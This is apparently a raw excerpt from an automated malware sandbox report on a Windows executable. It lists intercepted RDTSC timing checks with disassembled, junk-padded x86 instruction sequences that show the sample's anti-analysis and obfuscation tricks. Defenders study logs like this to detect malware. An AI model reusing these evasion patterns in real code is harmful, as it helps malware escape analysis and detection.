Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 73D2B5 second address: 73D2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57691E35F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 73D2CE second address: 73D2D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 74BBFD second address: 74BC01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 74E63B second address: 74E652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 74E652 second address: 74E656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 751CC5 second address: 751CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7652E4 second address: 7652E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 765461 second address: 76547A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F576860B9BBh 0x0000000a pushad 0x0000000b jnp 00007F576860B9B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 76547A second address: 76548B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push ecx 0x00000009 jc 00007F57691E35ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7655FF second address: 76560B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F576860B9B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 765BEE second address: 765C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F57691E35EAh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 765D90 second address: 765DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F576860B9B6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 765EC4 second address: 765ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F57691E35E6h 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007F57691E35E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 765ED8 second address: 765EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 765EDE second address: 765F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jc 00007F57691E361Ch 0x0000000c pushad 0x0000000d jmp 00007F57691E35F5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 768E0D second address: 768E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 768E12 second address: 768E19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 768E19 second address: 768E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F576860B9B8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 or dx, 1463h 0x00000029 push 00000004h 0x0000002b mov dx, ax 0x0000002e push 5AB28661h 0x00000033 push eax 0x00000034 push edx 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 768E5B second address: 768E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7690EE second address: 7690F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 76C132 second address: 76C155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F57691E35E6h 0x0000000a popad 0x0000000b jng 00007F57691E35FCh 0x00000011 jmp 00007F57691E35F0h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 76C155 second address: 76C168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F576860B9B6h 0x0000000d jnl 00007F576860B9B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 76DD06 second address: 76DD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jng 00007F57691E35E6h 0x0000000e popad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 76DD18 second address: 76DD22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 76DD22 second address: 76DD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jnp 00007F57691E35FAh 0x0000000d jmp 00007F57691E35EEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47C045D second address: 47C0481 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47C0481 second address: 47C049B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47C049B second address: 47C04CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F576860B9C8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47C0537 second address: 47C053D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0590 second address: 47F0596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0596 second address: 47F061F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F57691E35EEh 0x00000012 xchg eax, ecx 0x00000013 jmp 00007F57691E35F0h 0x00000018 push eax 0x00000019 pushad 0x0000001a mov edi, 58C49D94h 0x0000001f pushfd 0x00000020 jmp 00007F57691E35EDh 0x00000025 sbb ax, EE56h 0x0000002a jmp 00007F57691E35F1h 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ecx 0x00000032 jmp 00007F57691E35EEh 0x00000037 xchg eax, esi 0x00000038 pushad 0x00000039 jmp 00007F57691E35EEh 0x0000003e popad 0x0000003f push eax 0x00000040 pushad 0x00000041 mov dh, cl 0x00000043 push eax 0x00000044 push edx 0x00000045 push edi 0x00000046 pop esi 0x00000047 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F061F second address: 47F06ED instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F576860B9C3h 0x00000010 or cx, 7D9Eh 0x00000015 jmp 00007F576860B9C9h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F576860B9C0h 0x00000021 sbb ecx, 52047798h 0x00000027 jmp 00007F576860B9BBh 0x0000002c popfd 0x0000002d popad 0x0000002e lea eax, dword ptr [ebp-04h] 0x00000031 pushad 0x00000032 pushad 0x00000033 mov ah, 33h 0x00000035 mov ecx, edx 0x00000037 popad 0x00000038 mov al, dh 0x0000003a popad 0x0000003b nop 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F576860B9C7h 0x00000045 sub eax, 529EFDBEh 0x0000004b jmp 00007F576860B9C9h 0x00000050 popfd 0x00000051 pushfd 0x00000052 jmp 00007F576860B9C0h 0x00000057 xor eax, 0DB806B8h 0x0000005d jmp 00007F576860B9BBh 0x00000062 popfd 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F06ED second address: 47F0721 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, EADAh 0x00000007 mov cx, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F57691E35ECh 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F57691E35F7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0721 second address: 47F0739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0739 second address: 47F0750 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F57691E35EAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F07D4 second address: 47F080A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F576860BA22h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F576860B9BAh 0x00000018 and ax, 0F58h 0x0000001d jmp 00007F576860B9BBh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0873 second address: 47E0034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov edx, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007F57691E35F4h 0x00000011 leave 0x00000012 jmp 00007F57691E35F0h 0x00000017 retn 0004h 0x0000001a nop 0x0000001b sub esp, 04h 0x0000001e xor ebx, ebx 0x00000020 cmp eax, 00000000h 0x00000023 je 00007F57691E374Ah 0x00000029 mov dword ptr [esp], 0000000Dh 0x00000030 call 00007F576D50F781h 0x00000035 mov edi, edi 0x00000037 jmp 00007F57691E35F8h 0x0000003c xchg eax, ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F57691E35F7h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0034 second address: 47E004C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E004C second address: 47E0050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0050 second address: 47E00A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F576860B9C3h 0x00000011 pop esi 0x00000012 pushfd 0x00000013 jmp 00007F576860B9C9h 0x00000018 add si, 9FB6h 0x0000001d jmp 00007F576860B9C1h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E00A2 second address: 47E0130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F57691E35ECh 0x00000011 or cl, 00000008h 0x00000014 jmp 00007F57691E35EBh 0x00000019 popfd 0x0000001a mov ax, E07Fh 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F57691E35F2h 0x00000026 sub esp, 2Ch 0x00000029 pushad 0x0000002a call 00007F57691E35EEh 0x0000002f mov cx, FBF1h 0x00000033 pop ecx 0x00000034 popad 0x00000035 xchg eax, ebx 0x00000036 jmp 00007F57691E35F8h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F57691E35EEh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0130 second address: 47E0165 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F576860B9C6h 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F576860B9BAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0165 second address: 47E016B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E016B second address: 47E01AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F576860B9BAh 0x0000000b adc ch, FFFFFFE8h 0x0000000e jmp 00007F576860B9BBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F576860B9C9h 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E01AE second address: 47E01C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E01F3 second address: 47E01F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E01F7 second address: 47E01FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E01FD second address: 47E025C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F576860B9BBh 0x00000009 sbb esi, 2366054Eh 0x0000000f jmp 00007F576860B9C9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 sub edi, edi 0x0000001a jmp 00007F576860B9C7h 0x0000001f inc ebx 0x00000020 pushad 0x00000021 mov cx, C45Bh 0x00000025 mov ecx, 41444B37h 0x0000002a popad 0x0000002b test al, al 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E025C second address: 47E0260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0260 second address: 47E0266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0266 second address: 47E026B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E026B second address: 47E0291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F576860BBD1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F576860B9C5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0291 second address: 47E02C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c jmp 00007F57691E35EEh 0x00000011 mov dword ptr [ebp-14h], edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E02C0 second address: 47E02DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0362 second address: 47E0368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0368 second address: 47E03C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F576860B9BCh 0x00000009 jmp 00007F576860B9C5h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F576860B9C0h 0x00000015 add si, EF28h 0x0000001a jmp 00007F576860B9BBh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 push eax 0x00000024 pushad 0x00000025 mov bl, BDh 0x00000027 mov bl, ch 0x00000029 popad 0x0000002a nop 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E03C1 second address: 47E03D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0504 second address: 47E050A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E050A second address: 47E0560 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F57691E35ECh 0x00000009 adc cx, CA18h 0x0000000e jmp 00007F57691E35EBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F57691E35F8h 0x0000001a and ecx, 271A3478h 0x00000020 jmp 00007F57691E35EBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0560 second address: 47E0564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0564 second address: 47E0576 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0576 second address: 47E05FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov ecx, edx 0x0000000f push edi 0x00000010 push ecx 0x00000011 pop edi 0x00000012 pop ecx 0x00000013 popad 0x00000014 push ebx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F576860B9C0h 0x0000001c xor esi, 165D4068h 0x00000022 jmp 00007F576860B9BBh 0x00000027 popfd 0x00000028 popad 0x00000029 mov dword ptr [esp], eax 0x0000002c jmp 00007F576860B9C6h 0x00000031 xchg eax, ebx 0x00000032 jmp 00007F576860B9C0h 0x00000037 push eax 0x00000038 jmp 00007F576860B9BBh 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 movsx ebx, si 0x00000044 call 00007F576860B9BCh 0x00000049 pop eax 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0620 second address: 47D06FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 pushfd 0x00000007 jmp 00007F57691E35EDh 0x0000000c sub ah, FFFFFFA6h 0x0000000f jmp 00007F57691E35F1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov esi, eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F57691E35ECh 0x00000021 and ah, 00000048h 0x00000024 jmp 00007F57691E35EBh 0x00000029 popfd 0x0000002a mov edx, eax 0x0000002c popad 0x0000002d test esi, esi 0x0000002f jmp 00007F57691E35F2h 0x00000034 je 00007F57DB3615B9h 0x0000003a xor eax, eax 0x0000003c jmp 00007F57691BCD1Ah 0x00000041 pop esi 0x00000042 pop edi 0x00000043 pop ebx 0x00000044 leave 0x00000045 retn 0004h 0x00000048 nop 0x00000049 sub esp, 04h 0x0000004c mov esi, eax 0x0000004e xor ebx, ebx 0x00000050 cmp esi, 00000000h 0x00000053 je 00007F57691E3725h 0x00000059 call 00007F576D4FFCDEh 0x0000005e mov edi, edi 0x00000060 jmp 00007F57691E35F7h 0x00000065 xchg eax, ebp 0x00000066 pushad 0x00000067 jmp 00007F57691E35F4h 0x0000006c movzx eax, di 0x0000006f popad 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F57691E35F3h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47D06FB second address: 47D07A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F576860B9BCh 0x00000010 call 00007F576860B9C2h 0x00000015 pop esi 0x00000016 pop edi 0x00000017 call 00007F576860B9C0h 0x0000001c pushfd 0x0000001d jmp 00007F576860B9C2h 0x00000022 and ah, FFFFFFE8h 0x00000025 jmp 00007F576860B9BBh 0x0000002a popfd 0x0000002b pop esi 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f jmp 00007F576860B9BFh 0x00000034 xchg eax, ecx 0x00000035 pushad 0x00000036 movzx esi, bx 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F576860B9C8h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47D07F9 second address: 47D07FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47D07FD second address: 47D0803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47D0803 second address: 47D0809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47D0809 second address: 47D080D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0AFC second address: 47E0B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0B00 second address: 47E0B06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
